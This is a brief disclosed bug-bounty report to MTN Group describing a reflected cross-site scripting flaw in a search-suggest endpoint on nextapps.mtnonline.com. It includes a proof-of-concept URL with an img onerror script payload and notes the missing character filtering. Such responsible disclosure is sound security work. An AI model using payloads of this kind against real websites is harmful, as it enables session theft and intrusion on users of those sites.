MTN Group · Report #1244722
XSS at http://nextapps.mtnonline.com/search/suggest/q/{xss payload}
Validstatus
mediumseverity
9upvotes
1 May 2022disclosed
How it was found
PoC
http://nextapps.mtnonline.com/search/suggest/q/xss<img%20src=x%20onerror=alert()>1337
Symbols <'/"> are no filtered that alloweds to inject HTML code. Response has content-type: text/html {F1353600}
Impact
XSS at nextapps.mtnonline.com